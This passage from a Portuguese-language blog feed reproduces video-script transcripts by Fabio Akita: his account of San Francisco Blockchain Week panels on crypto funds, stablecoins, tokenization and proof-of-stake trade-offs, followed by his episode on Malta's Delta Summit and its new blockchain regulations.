<p>Também achei interessante o Alex da Hashed dizer que eles são uma crypto fund que investe em cerca de 65 startups mas somente 5 são da Coréia do Sul e dessas umas 3 são de amigos de faculdade dos fundadores. Faz você pensar sobre como os asiáticos estão investindo, onde estão investindo.</p>
<p>Nessa discussão também soltaram que por causa das pressões governamentais muitas empresas saíram da Coréia pra outros países como Singapura. Mas eles não recomendam Cingapura a menos que você seja asiático, não é um lugar fácil para abrir empresa, você só vai pra lá se não tem outra opção. Novamente, a falta de regulamentação clara tem causado várias empresas a peregrinarem de país em país, como eu disse no episódio anterior com a Binance relocando pra Malta onde as leis ficaram mais flexíveis. E isso porque na Coréia do Sul ganhos em cripto não são taxados.</p>
<p>Em paralelo, em outro painel tivemos Ella Zhang co-fundadora da Binance e a cabeça da Binance Labs, um fundo de investimento de 1 bilhão de dólares que estava anunciando uma incubadora em São Francisco, que já recebeu 500 aplicações e selecionaram 50 para iniciar no programa e estão filtrando pra 8 que devem ver se vão se tornar investimento ou não. Eles tomam 7% de equity por um seed de 100 mil dólares. No mesmo painel estava Vincent Zhou da famosa FBG Capital da Coréia do Sul. Vincent é exatamente o que os coreanos perseguem: ele era um trader que iniciou com um capital de 10 mil dólares alguns anos trás e transformou esse investimento em 100 mil dólares antes de 2017, chamou amigos pra investir mais e transformou isso em 200 milhões, e com isso abriu a FBG Capital onde 50% dos lucros ainda é em trading.</p>
<p>Eu achei interessante a quantidade de asiáticos nessa conferência, de sul coreanos a chineses até alguns japoneses. A Ásia não está ignorando o Ocidente, pelo contrário, eles querem um pedaço do jogo agora. Apesar dos Estados Unidos ser um dos lugares menos amigáveis pra ICOs eles precisam estar lá para influenciar o mercado e, por consequência, as agências reguladoras. Isso porque apesar de tudo o Japão, por exemplo, tende a querer jogar mais seguro e no final seguir o que os Estados Unidos fazem. E a Coréia do Sul tende a seguir o Japão.</p>
<p>Muitos tem restrições com lugares como Malta ou Chipre por conta da corrupção e lavagem de dinheiro. Então parece que a chave de tudo vai voltar a ser Silicon Valley. No momento em que os Estados Unidos conseguirem colocar uma regulamentação clara, o Japão, a Coréia do Sul e talvez a própria China sigam mais rápido na sequência, causando um efeito dominó do Ocidente para o Oriente. Então o mundo neste momento parece estar em estado de espera.</p>
<p>Apesar de não ser muito prático o que me fascina mais nessas conferências todas é ver a disputa de forças entre investidores ocidentais e orientais, a parte macroeconômica da coisa. Mas pra sair um pouco dessa discussão, vou rapidamente falar de outros assuntos diversos que ouvi por lá.</p>
<p>Ainda sobre modelos de negócio com blockchain, teve outro painel bacana com duas pessoas do mundo do entretenimento. A ex-youtuber Michelle Phan que as mulheres devem conhecer já que foi uma das mais famosas no mundo de estilo e maquiagem e o DJ Justin Blau. A Michelle explicou sua carreira e como os primeiros youtubers tiveram a vantagem de começar numa plataforma nova, mas depois dos primeiros 10 anos hoje youtubers de audiência similar a deles na época recebem 75% menos receita de ads. Por isso o modelo não é mais faturar com ads e sim com patrocínio tradicional, plataformas externas como Patreon. Justin também explicou os custos envolvidos no mundo da música, pesquisas dizem que o artista acaba levando no máximo 12% de tudo que gera. Aliás, eu acho fascinante ver artistas como Justin com um bom conhecimento de blockchains e token economics, coisa que eu nunca vi por aqui.
Enfim, existem muitos intermediários entre os geradores de conteúdo e os patrocinadores e por isso a discussão em plataformas como a Ara Blocks onde a idéia é meio como um security token, eu já falei isso nos vídeos da Coréia.</p>
<p>Falando em mais casos de uso, outro interessante foi o painel com Stephane de Baes da Elevated Returns e o Slava Rubin da Indie Gogo. O Stephane faz parte de um grupo que tem diversos imóveis. Justamente imóveis como o próprio nome diz, é um dos maiores armazéns de valor do mundo, trilhões de dólares. Mas eles são imobilizados, altamente Ilíquidos. Eles fizeram uma das primeiras tokenizações de um imóvel de verdade. Eles pegaram um resort que tem em Aspen, gerenciado pela Merriot, e tokenizaram uma porcentagem, não lembro se falaram 10%. Usaram o Indie Gogo pra fazer isso. Foi um negócio de uns 20 milhões de dólares sobre um imóvel lucrativo de 200 milhões, podem até pagar dividendos aos compradores dos tokens. A curiosidade é que 40% dos compradores são da Ásia, o raciocínio é que as pessoas da Ásia também querem se proteger e uma das formas de fazer isso é escolhendo comprar partes de um resort de Aspen, que é um imóvel americano, é mais ou menos a mesma coisa que estar num país de moeda fraca (como a nossa) e se proteger via exposição a dólar, mas desse jeito tem muito menos intermediários e qualquer um pode participar. É justamente uma das idéias de se usar tokens e blockchains para securitizar ativos, o que chamamos de digital assets.</p>
<p>Outro painel interessante foi novamente moderado pelo Arrington, tendo a participação da Cred, Uphold e Pricewaterhouse anunciando mais uma stablecoin, a Universal Dollar. A idéia é competir com moedas como o Tether e assim como ele estar lastreado no dollar. A Gemini se não me engano também tem uma assim e mais e mais empresas estão indo nessa direção. A parte interessante é que somente grandes fundos podem fazer isso porque você precisa garantir a liquidez desse token. Cada token emitido precisa ser auditado - e por isso a pricewaterhouse - pra garantir que ninguém está imprimindo dinheiro sem lastro. Cada 1 token precisa de 1 dollar. A vantagem? Nesse formato é como se você pudesse trafegar dollar livremente pelo mundo sem passar por bancos ou outras instituições. Todo mundo menos os Estados Unidos gostam dessa idéia. Fora isso você pode usar stablecoins como essa pra ser a moeda de meios de pagamento, eu falei disso nos vídeos da Coréia. E nesse caso específico eles tão mirando no mercado de crédito e empréstimos. Com isso você consegue encontrar no mundo todo quem quer emprestar e também no mundo todo quem precisa de crédito. Além disso eles querem padrozinar tudo no padrão ERC20 pra tokens via smart contracts na rede do Ethereum, e coins como Bitcoin poderiam ter um wrapper de ERC20 por cima deles, novamente convertendo 1 bitcoin pra 1 token deles e assim tudo trafegaria pelo mesmo protocolo, facilitando a interoperabilidade.</p>
<p>Pra quem é da área técnica um aspecto constantemente discutido é o problema da velocidade dos blockchains. Está claro que nenhum blockchain como Bitcoin, Ethereum ou derivados jamais vai ter capacidade pra ser de fato um meio de pagamento viável pra maioria das pessoas. Seja porque a velocidade é muito baixa, seja porque as taxas ficam caras demais quando há muito volume. Existem pesquisas e tentativas para melhorar isso direto nos protocolos. Por exemplo, o Ethereum quer lançar a versão Casper daqui algum tempo, que promete, entre outras coisas, substituir o atual Proof of Work por Proof of Stake ou pelo menos um híbrido entre os dois.</p>
<p>Eu expliquei acima porque Proof of Stake não é uma bala de prata.  Mas uma solução mais prática que não requer modificação direta nos protocolos é a utilização de side-chains ou layer-2 como os projetos da Plasma em Ethereum ou Lightning Network pro Bitcoin que, sim, continua em beta por mais algum tempo ainda. A idéia é simples: segurança e performance costumam ser um trade-off, eles são mutuamente exclusivos. Você não pode ter segurança absoluta e performance máxima ao mesmo tempo. Então você precisa diminuir a segurança pra ganhar performance. Numa rede como Lightning você pré-carrega um canal secundário com alguns dos seus coins favoritos, mas não tudo, o montante maior fica no layer-1 que é o protocolo original, mais lento, como Bitcoin. É que nem carregar um cartão pré-pago. Nesse layer-2 você tem alta performance, mas corre um risco maior de perder essa pré-carga, mas não tem problema, é o custo do negócio. É impossível ter zero risco em tudo, isso é gerenciar o risco e conseguir performance sem mudar o blockchain.</p>
<p>Falando nisso, começa a aparecer uma coisa meio óbvia: Proof of Work é caro demais mas é extremamente seguro, em particular nos casos excepcionais. Muitos estão forçando a substituição por Proof of Stake, mas isso eu acho barato demais ao ponto que é inseguro. Proof of Stake funciona no geral mas é muito fraco nos casos excepcionais Stake é basicamente colocar seu dinheiro na linha pra ter direito de assinar o bloco, se for votado que você fraudou, então você perde esse Stake. Vale a pena eu fazer uma tangente porque muita gente que só sabe ler headline assume que “ah, quando o Ethereum mudar de proof of work pra proof of stake, ele vai matar o bitcoin que consome energia demais”.</p>
<p>A maioria das pessoas é péssimo em pensar nos cisnes negros. Um sistema que tem a pretensão de ser usado pelas próximas décadas e ter garantias de integridade dos seus dados precisa ser resistente ao futuro e proteger o passado. Bitcoin de fato atinge isso. Na prática, todo nó minerador é um mini-fork da rede. A rede se reconcilia o tempo todo e a cadeia mais longa de blocos costuma vencer e os outros sincronizam dele. E podemos confiar no processo porque pra assinar um bloco alguém precisou gastar muito dinheiro para calcular o hash. Em proof of stake quem assina o bloco é quem tem o maior stake. No caso do bitcoin seria o equivalente a quem tem 51% do hash power da rede, que são atualmente os 3 maiores pools do mundo. E mesmo assim, não é possível reescrever a história fácil, é necessário recalcular o hash de todos os blocos do passado até o ponto que você quer, isso não só custa muito dinheiro mas custa muito tempo. 1 bloco hoje leva 10 minutos. Imagine recalcular 10 mil blocos. É bom ter um Fukushima no quintal pra isso. Em proof of stake você não tem essa proteção, qualquer um que controle o maior stake - apesar de muito improvável - tem poder ilimitado de reescrever a história se a rede não tem checkpoints ou pode causar um split da rede no caso de redes que tem checkpoint como o Casper do Ethereum. Em ambos os casos, proof of stake se mostra inferior ao proof of work em manter a integridade dos dados e da rede. O custo de energia não é à toa como muitos pensam e nem é tão caro assim se levar esses pontos em consideração. O próprio Vitalik, no seu painel, já fala em um possível 99% de Proof of Stake e 1% de Proof of Work para balancear melhor esse trade-off. E outras equipes estão procurando alternativas a Proof of Work e Proof of Stake como Proof of Space-Time.</p>
<p>Outras palestras técnicas interessantes falaram mais sobre outros aspectos da segurança de blockchains, nas palestras de David Chaum da Elixxir e Dawn Song da Oasis Labs. Por exemplo, por se falar em criptografia, dá impressão que os dados são “privados” mas na verdade é o contrário: o blockchain é transparente e público, é possível tirar muita informação somente pelos metadados e pelo rastreamento. Mais do que isso, um blockchain é um registro preciso de tempo, baseado em timestamps, então existe outro dado muito importante: a ordem das transações. É um dos motivos de porque blockchains não são bons pra eleições com voto secreto. Por isso existem outros tipos de blockchains como Dash, Zcash ou Monero que tentam adicionar uma camada a mais de anonimidade. Fica dica que em Zcash você precisa escolher fazer um wallet ser anônimo, ele não é anônimo por padrão. E no mundo do Ethereum, por causa disso existem as tentativas para implementar algo similar como zero knowledge proofs, particularmente zkSnarks. O conceito parece simples, onde você consegue saber se uma pessoa tem determinado segredo sem trafegar o segredo. Imagine um sistema que sabe que você sabe a senha sem que você precise dizer a senha. Mas a matemática e a implementação disso é extremamente difícil. Se você é cientista da computação, eis um excelente desafio.</p>
<p>Além disso você tem outros conceitos pra vocês pesquisar. Por exemplo, Homeomorphic encryption, pense um tipo de encriptação onde você pode realizar operações no dado encriptado e o resultado será igual às mesmas operações realizadas no texto não-encriptado. Dessa maneira você não precisa decodificar a encriptação e ainda assim pode operar nele. E isso sem falar em hardwares de segurança, como as instruções Intel SGX que permitem lidar com dados de segurança mesmo em computadores que foram comprometidos. Pense um lugar onde você poderia guardar sua chave privada no seu computador que não estaria vulnerável a nenhum vírus ou exploit porque está totalmente fora do controle do sistema operacional. A chave ficaria numa área de memória isolada que o sistema operacional simplemente não tem acesso, são os enclaves. E isso já existe hoje, caso vocês não saibam. Como cientista da computação essa é outra área que me atrai muito porque ficamos falando só de web, web e não vemos como existem várias outros algoritmos e hardware à nossa disposição que nunca nem discutimos a respeito.</p>
<p>Como podem ver, os painéis da San Francisco Blockchain Week foram bem mais interessantes do ponto de vista técnico do que o Delta Summit de Malta ou o Beyond Blocks de Seoul. Pelo menos em San Francisco eles estão mais preocupados com a implementação das coisas, nos outros países eles estão muito ainda em “o que é possível”. Por isso eu reitero o que disse no vídeo anterior de Malta: não existem experts nesse mercado. Ignore qualquer um que se entitule expert. Estamos ainda no estágio de early adopters. Eu venho repetindo isso faz tempo e ouvi sendo repetido nos eventos: é como se estivéssemos no começo dos anos 90, antes da invenção do browser, antes de saber que vai existir Amazon ou Facebook. Se você acredita em futuro, é um dos lugares mais fascinantes pra se estar.</p>
<p>Infelizmente o Brasil, pra variar, está atrasado e ficando mais e mais atrasado. Um dos maiores problemas é que os “top influencers” desse mercado são completamente diferentes de tudo que eu vi pelo mundo. Assim como na Ásia e norte da Europa, muitos aqui tiveram a sorte de apostar antes do bull run e ficaram ricos com criptomoedas. Porém diferente do que eu vi, eles não estão reinvestindo num ecossistema, e em vez disso estão com a cabeça minúscula de se fechar em seus próprios feudos. Um exemplo disso? Nós já temos perto do mesmo número de corretoras que se tem em Seoul ou Japão. Só que o volume de cripto negociado em todas as corretoras do Brasil é uma fração de somente 1 corretora da Ásia. É um número ridículo. E essa fragmentação acontece porque nenhuma das corretoras com maior volume tem a mínima noção de tecnologia. E todo mundo sabe disso, tanto que eu por exemplo acho mais fácil fazer a minha própria corretora do que confiar em qualquer uma que é lider do mercado, e pelo jeito eu não estou sozinho. E também por causa disso o exemplo que a população em geral tem é essa: pessoas que deram sorte mas não sabem o que estão fazendo. Completamente diferente de um CZ da Binance ou Vicent Zhao da FBG Capital. Outro exemplo? Nenhuma crypto fund foi fundada no Brasil ainda. E mesmo nesse estágio primário que estamos já existem fundos de investimento tradicionais vendendo fumaça como se fosse criptomoeda, sedimentando ainda mais a noção que os principais envolvidos no mercado de criptomoedas do Brasil estão interessados em dinheiro rápido e tem zero interesse em realmente criar uma economia de criptomoedas. Eu sou empresário, e por causa de exemplos como o que temos nesse mercado do criptomoedas do Brasil, eu não consigo discordar de quem fala mal de empresários brasileiros no geral. O que eu vi no mundo não tem nada nem parecido por aqui ainda. E isso porque eu disse que eles mesmos se consideram ainda early adopters num mercado que está só começando. Agora aqui o que eu vejo? Experts.</p>
<p>Enfim, isso conclui meus relatos sobre essa peregrinação blockchain. Vejam meus vídeos sobre a Coréia do Sul se ainda não assistiram, pra ter uma visão mais completa. Coloquem nos comentários se vocês já sabiam de tudo que eu relatei. Se gostaram do vídeo mantem um joinha, assinem o canal e cliquem no sininho. A gente se vê, até mais!</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>economia</category><category>mercado-de-tecnologia</category><category>akitando</category></item><item><title>[Akitando] #20 - Malta: A Ilha do Blockchain</title><link>https://akitaonrails.github.io/2018/10/23/akitando-20-malta-a-ilha-do-blockchain/</link><guid isPermaLink="true">https://akitaonrails.github.io/2018/10/23/akitando-20-malta-a-ilha-do-blockchain/</guid><pubDate>Tue, 23 Oct 2018 17:00:00 -0300</pubDate><description>&lt;p&gt;Disclaimer: esta série de posts são transcripts diretos dos scripts usados em cada video do canal &lt;a href="https://www.youtube.com/channel/UCib793mnUOhWymCh2VJKplQ"target="_blank" rel="noopener"&gt;Akitando&lt;/a&gt;. O texto tem erros de português mas é porque estou apenas publicando exatamente como foi usado pra gravar o video, perdoem os errinhos.&lt;/p&gt;
&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/otIWfeRs22s"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;h3&gt;Descrição no YouTube&lt;span class="hx:absolute hx:-mt-20" id="descrição-no-youtube"&gt;&lt;/span&gt;
&lt;a href="#descri%c3%a7%c3%a3o-no-youtube" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Nos dias 4 e 5 de Outubro de 2018 eu fui visitar a Ilha de Malta para assistir à conferência Delta Summit, a maior conferência de blockchain e criptomoedas do país neste ano. O evento lança a promulgação das leis do país específicas para blockchains e torna a Ilha um lugar propício para empresas neste mercado.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Disclaimer: esta série de posts são transcripts diretos dos scripts usados em cada video do canal <a href="https://www.youtube.com/channel/UCib793mnUOhWymCh2VJKplQ"target="_blank" rel="noopener">Akitando</a>. O texto tem erros de português mas é porque estou apenas publicando exatamente como foi usado pra gravar o video, perdoem os errinhos.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/otIWfeRs22s"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<h3>Descrição no YouTube<span class="hx:absolute hx:-mt-20" id="descrição-no-youtube"></span>
    <a href="#descri%c3%a7%c3%a3o-no-youtube" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Nos dias 4 e 5 de Outubro de 2018 eu fui visitar a Ilha de Malta para assistir à conferência Delta Summit, a maior conferência de blockchain e criptomoedas do país neste ano. O evento lança a promulgação das leis do país específicas para blockchains e torna a Ilha um lugar propício para empresas neste mercado.</p>
<p>O evento foi aberto por ninguém menos que o primeiro-ministro de Malta, Dr. Joseph Muscat e o primeiro-ministro júnior Silvio Schembri que, junto com o evangelista Dr. Abdalla Kablan atraíram dezenas de pessoas e empresas para discutir as novas oportunidades da região.</p>
<p>Vamos entender o que isso significa pra Malta e para o mundo no geral.</p>
<p>Links</p>
<ul>
<li>Delta Summit (<a href="https://delta-summit.com/agenda/"target="_blank" rel="noopener">https://delta-summit.com/agenda/</a>)</li>
<li>Malta Digital Innovation Authority (<a href="https://mdia.gov.mt/"target="_blank" rel="noopener">https://mdia.gov.mt/</a>)</li>
<li>Malta Financial Services Authority (<a href="https://www.mfsa.com.mt/"target="_blank" rel="noopener">https://www.mfsa.com.mt/</a>)</li>
<li>Malta Gaming Authority (<a href="https://www.mga.org.mt/"target="_blank" rel="noopener">https://www.mga.org.mt/</a>)</li>
</ul>
<p>Se não assistiu ainda, veja a minha playlist de episódios sobre Seoul:</p>
<ul>
<li>Blockchain Week Seoul 2018 (<a href="https://www.youtube.com/watch?v=QNLd8TZ_JQc&amp;list=PLdsnXVqbHDUeR_OhvhLfLfpe3eXadNCW2"target="_blank" rel="noopener">https://www.youtube.com/watch?v=QNLd8TZ_JQc&list=PLdsnXVqbHDUeR_OhvhLfLfpe3eXadNCW2</a>)</li>
</ul>
<h2>Script<span class="hx:absolute hx:-mt-20" id="script"></span>
    <a href="#script" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Olá pessoal, Fabio Akita</p>
<p>Este canal começou com meu relato sobre os eventos de blockchain de Seoul, na Coréia do Sul.</p>
<p>Originalmente não era essa a intenção mas no final acabei tendo a oportunidade de ver em primeira mão como estão as comunidades de negócios de criptomoedas nas 3 grandes regiões do mundo: Ásia, Europa e Américas. Vocês já viram minha visão sobre a Ásia, em particular a Coréia do Sul, hoje vamos falar de Malta e no próximo episódio vamos ver como estão os norte americanos.</p>
<p>Vamos lá!</p>
<p>(&hellip;)</p>
<p>Vamos começar com uma dica. Se você cruzar com qualquer um que se auto-intitule &ldquo;Expert&rdquo; em blockchain ou criptomoedas, ignore essa pessoa. Esse mercado é novo demais pra alguém se denominar &ldquo;expert&rdquo; no LinkedIn. É o primeiro sinal de como filtrar o joio do trigo. Isso foi dito num painel durante o evento Delta Summit e eu mais que concordo. Qualquer um que está se vendendo primariamente como expert de blockchain é um charlatão.</p>
<p>Isso dito, Malta. Eu nunca tinha ido pra Malta, eu nunca tinha ido pra Itália. Uma pena que eu tive uma estadia curta, basicamente pro evento. Claro, todos sabemos que Malta é um arquipélago com 3 ilhas habitadas. Malta, Gozo e Comino. Mas eu não tinha noção da dimensão. Por exemplo, qual é a população dessa ilha? 10 milhões de pessoas? 4 milhões de pessoas? Ou 500 mil pessoas?</p>
<p>Pois é … 475 mil pessoas pra ser mais exato. Pra dar uma dimensão, a minha cidade de São Paulo tem 12 milhões de pessoas. A regiao metropolitana inteira tem 20 milhões. Malta é do tamanho de São José do Rio Preto, Mauá, ou Mogi das Cruzes. Sorocaba é maior, Ribeirão Preto é maior, Osasco é maior.</p>
<p>Mas Malta tem uma história muito mais longa. Enquanto o Brasil inteiro tem pouco mais de 500 anos, a história de Malta vai pra quase 6000 anos antes de Cristo. Então, assim como toda a Europa, tem uma diversidade e riqueza histórica muito maior. Mas ainda assim, é impressionante imaginar um país inteiro que é menor a maioria das cidades que eu conheço.</p>
<p>Minha primeira impressão? Lugares excepcionalmente bonitos, realmente cartões postais. Porém, as pessoas que encontrei foram antipáticas, do tipo que ficam reclamando da vida na sua frente na loja, não respondem suas perguntas e fazem cara de &ldquo;agradeça que eu to te atendendo&rdquo;. Não é todo mundo, mas no geral não me senti muito bem vindo por ali.</p>
<p>De qualquer forma, não tenho muito o que dizer sobre a região porque passei a maior parte do meu tempo lá dentro da conferência. O Delta Summit foi no centro de convenções do Intercontinental Hotel. Delta é um nome oportuno porque tem a ver com a recém aprovada regulamentação de DLT ou Distributed Ledger Technology, então D L T ou DELTA e também DELTA porque vem do grego de mudança e isso representa uma enorme mudança pra região. Pelo menos é o que o arquiteto dessa mudança, Dr Abdalah Kablan está nos vendendo. Ele que parece ter sido importante na progressão das leis no governo do primeiro ministro Dr Joseph Muscat. O evento tem dedo do governo, o que por sua vez ajuda a atrair um grande número de empresas e também as principais celebridades desse mundo, figurinhas carimbadas como Chengpeng Zhao ou Roger Ver, que eu vi nos eventos de Seoul também.</p>
<p>Esse evento foi 100% business, tinha basicamente 0.01% de desenvolvedores de software por lá, então imaginem que eu me senti um peixe fora d&rsquo;água :-) Ponto positivo por ter cruzado com ninguém menos que o Dr Larry Sanger, um dos criadores da gigante Wikipedia que foi anunciar como está envolvido com o que ele acredita que pode se tornar o sucessor da Wikipedia, a Everipedia. A primeira enciclopédia lançada num blockchain, no caso usando o IPFS ou filesystem universal do protocolo EOS. Vale a pena acompanhar só por causa disso. E se tem alguém que pode fazer isso funcionar, é ele. Para quem queria um caso de uso de blockchains fora do mundo financeiro, esse é um bom exemplo.</p>
<p>A estrela do show, claro, são as tais regulamentações em torno de empresas de blockchains, criptomoedas, exchanges, ICOs. Em resumo, Malta já tem algumas associações reguladoras fortes como a M I T A que regula o mundo de TI, a Malta Financial Services Authority ou M S F A que regula o mundo financeiro, a M G A que regula os jogos. Agora há uma nova, a Malta Digital Innovation Authority ou M D I A que regula empresas desse novo setor. Dentre as leis promulgadas temos a Innovative Technological Arrangements Services Act que foca no registro da tecnologia e certificação como requerido pela M D I A para operar. E a Virtual Financial Asset Act que foi feita pela ou M S F A. Ufa, complicado?</p>
<p>Na prática, criou-se o cargo de um agente regulador, um indivíduo independente, que não é funcionário público, mas que tem experiência na área e que vai avaliar e ser responsável pelas empresas que querem abrir em Malta, incluindo voltar 1 ano depois para ver se eles estão cumprindo os prometidos. A idéia é filtrar o joio do trigo e certificar empresas que passaram por avaliação, evitando os diversos casos de golpes baseados em ICOs.</p>
<p>Haverá pelo menos 2 tratamentos diferenciados: pra aqueles que estão iniciando seus negócios e para aqueles que já tem empresas funcionando e estão se mudando ou abrindo filial lá. A Binance anunciou que está abrindo uma sede em Malta, por exemplo, e é o garoto propaganda do governo de Muskat.</p>
<p>Mas isso significa que abrir uma empresa de cripto lá ficou caro. Você precisa ter gente local e uma sede física e conta em banco, e tudo mais. Só pra começar, não espere gastar menos que uns EUR 50 mil no ano. Só pra abrir uma conta business num banco espere ter que depositar já EUR 30 a 50 mil. Então o investimento para iniciar de verdade lá, não é menos que uns EUR 100 mil. Não é pra qualquer um e isso pode se tornar tendência por toda a Europa. Mesmo em países como Suíça as coisas não eram tão fáceis. Você de fora vai e abre empresa fácil, mas aí quer ir pra lá ou mandar gente daqui pra lá, e descobre que a Suíça não quer nem um pouco aumentar sua população com imigrantes, boa sorte conseguir visto pra morar lá. Governos como o francês, inglês, e até países islâmicos estavam representados durante o evento e devem ter conduzido mais trabalhos diplomáticos e trocas de idéias entre agências reguladoras. O primeiro ministro Muscat quer muito que o framework que eles desenharam para Malta se torne a referência para toda a Europa. A parte do caro que eu mencionei não é ruim. Qualquer investidor prefere um lugar caro e regulado que barato e incerto. Ninguém em sã consciência investe muito dinheiro num país que a qualquer momento pode mudar as regras. Exemplo de lugar ruim pra investir? Brasil.</p>
<p>Por causa do pico absurdo que tivemos em dezembro do ano passado, coisa que incentivou dezenas de ICOs ruins invadirem o mercado enganando milhares de pessoas e aplicando golpes de milhões de dólares, fora os diversos hacks em exchanges mal feitas que também fizeram as pessoas perder muito dinheiro, dezenas de países tomaram medidas drásticas e aceleraram suas corridas pela regulamentação. Países como a China praticamente baniram as criptomoedas de uma hora pra outra, forçando empresas como a Binance a sair da China e se instalar em outros países como Japão. O próprio Japão e Coréia do Sul apertaram suas recomendações e começaram a banir ICOs e botar mais pressão em exchanges. Estados Unidos passaram a considerar todo ICO o equivalente a securities em vez de utilities como eu já expliquei em outro episódio. Países na América do Sul, pra variar lentos que nem tartarugas morrendo continuam em cima do muro quanto a regulamentar e se mantém permitindo ações predatórias dos bancos contra empresas de criptomoedas. E a Europa, como sempre, eficiente quando se fala em passar regulamentações pra tudo, porque quanto mais rápido se regulamenta mais rápido podem coletar mais impostos.</p>
<p>Com essa forçada de barra dos governos do mundo, mas ao mesmo tempo sendo óbvio a inevitabilidade da adoção de criptomoedas pelo mundo, seja por vias legais ou por mercado negro, muitos países mais progressistas resolveram se adiantar à curva e tentar ser os primeiros em suas regiões a criar ambientes amigáveis e atrair os mavericks pioneiros que - quem sabe - se tornem o Google ou Amazon do mundo de criptomoedas. Que país não quer a Amazon em casa? Países como Suíça e Estônia já eram mais amigáveis mas sem se comprometer muito, meio &ldquo;pode vir, que a gente não morde&rdquo;. Mas Malta foi provavelmente a primeira a se comprometer, criando leis e regulamentações, definindo no papel o que pode ou não pode, e dedicando uma autoridade do governo pra tratar desse assunto. A mesma coisa parece que está se iniciando na Ásia em Taiwan e na Tailândia, aproveitando o vácuo deixado pela triforce da China, Japão e Coréia do Sul. Ou seja, a Europa e a Ásia continuam se movimentando mais rápido que o resto do mundo em relação a regulamentação de criptomoedas.</p>
<p>Pare pra pensar no seguinte: pode ser que você pessoalmente não acredite muito em criptomoedas ou soluções de blockchains, mas primeiros ministros de vários países estão discutindo o assunto e já no ponto onde estão passando leis. Não é um assunto que vai desaparecer tão cedo, independente do que você acha. Já estamos num ponto onde evitar o assunto é só se colocar na posição do mais atrasado na economia global. Você só pode fazer isso se for os Estados Unidos e mesmo assim a pressão do resto do mundo está chegando.</p>
<p>Quando falei da Coréia do Sul dei vários exemplos de tipos de empresas e ICOs, hoje vou só resumir porque é a mesma coisa: muitas exchanges, empresas de auditoria de segurança, e empresas de advocacia. Sério, eu nunca tinha visto tanto estande de advogado um do lado do outro. A estrela do show é a nova regulamentação, então os advogados estão fazendo fila pra atender a nova clientela querendo mover seus negócios pra lá. Outras estandes tinham o de sempre wallets, alternativas de blockchains com plataformas híbridas, meios de pagamento, sistemas de rewards e bonificações por fidelidade ou similar, tokens para games - e Malta já era forte com a autoridade que regulamenta games -, e tokenização ou securitização no geral.</p>
<p>Securities, aliás, outro assunto que continua quente mas controverso por culpa da SEC dos Estados Unidos. Muitos esperam que em breve security tokens se tornem uma nova classe de ativos, onde qualquer asset pode ser tokenizavel, desde equity em empresas no caso de abertura de capital via ICO até real estate ou o que for, até uma pessoa é tokenizável, tokenizando seus ganhos futuros por exemplo. Mas por causa das regulamentações muitos lamentam que a promessa dos ICOs corre grande risco.</p>
<p>A grande idéia dos ICOs é a democratização do mercado financeiro, antigamente somente grandes fundos de investimento, hedge funds, venture capitalists tinham acesso a investir cedo em empresas pré-IPO. O consumidor final, nós, não temos acesso a isso, só depois que o venture capital já comprou barato, você pode comprar caro dele.</p>
<p>ICOs democratizaram isso e deram a opção de pessoas físicas participar. Claro, isso também atraiu um grande número de fraudes. Muita gente perdeu e ainda vai perder dinheiro. Mas se você proíbe isso, regula via restrição, e torna caro abrir um ICO, novamente as startups não tem outra opção a não ser tornar os ICOs privados e oferecer primeiro para os mesmos antigos players: os fundos de investimento e venture capital, retirando a opção da população em geral. A população vai perder dinheiro se não houver restrições? Deixe elas perderem o dinheiro. É o correto, senão nunca vão aprender a investir direito. A população não precisa ser protegida. Eu argumento que proteção demais cria uma população desinformada. Essa mania de governos quererem decidir pela população é muito ruim. O mercado naturalmente se auto regula.</p>
<p>A mesma coisa sobre a idéia de criptomoedas em geral. Por causa dessa paranóia de medo anti-terrorista - que mata menos no mundo que uma fração dos acidentes de trânsito todo ano - força todo governo a forçar toda fintech e bancos tradicionais em procedimentos Anti-lavagem de dinheiro e Anti-terrorismo. A única forma disso acontecer é via KYC ou know your customer, ou seja, toda fintech precisa coletar, administrar e - quando exigido - compartilhar com órgãos do governo os dados e histórico das pessoas. Lembrando que nos Estados Unidos você já tem mecanismos como o controverso Patriot Act. Isso quebra as premissas de privacidade e soberania do indivíduo prometido pelas criptomoedas. Moedas que facilitam a anonimidade como Monero ou Zcash estão sendo proibidos em países regulados como o Japão justamente por essa impossibilidade de rastrear as transações.</p>
<p>Então, pouco a pouco, o mundo de criptomoedas está sendo obrigado a se dobrar para se adequar às mesmas normas que eles originalmente queriam combater. Na prática, o que isso significa é que criptomoedas estão se tornando versões mais práticas dos papéis de commodities e um pouco mais eficientes para transações interbancárias em diferentes países, ou seja, substituto do swift.</p>
<p>Ainda é mais simples entrar no mundo de trading de criptomoedas do que no mercado financeiro tradicional, mas em breve isso pode mudar também. O valor das criptomoedas já foi provado, mas para o market cap subir dos atuais 200 bilhões para a casa do trilhão exige que os grandes investidores institucionais, Wall Street, entre no jogo. É para onde estão jogando exchanges como a Gemini dos irmãos Winklevoss.</p>
<p>Eu assisti todas as palestras que pude e em 2 dias de Delta Summit eu não fiquei particularmente impressionado. Vocês devem ter notado que eu não apontei nenhum painel ou palestra em particular neste vídeo. Os pitches de startups eram o mesmo de sempre, com ou sem criptomoedas, startups sempre prometem mais do que podem entregar e eu sei que nem 1% vai sobreviver então tenho pouco interesse em startups no geral. Eu acho que elas precisam existir porque estatística dos grandes números só funciona com grandes números, pro 0.1% existir precisa também existir os 99.9% que vai morrer antes. Então, eu sou a favor, mas não faço questão de participar, só observar e estar perto dos 0.1% e não dos 99.9, obviamente. É assim que o mercado funciona, diversificação sempre é uma palavra boa em finanças. Dinheiro não tem cor, nem gênero, nem nacionalidade, dinheiro é dinheiro.</p>
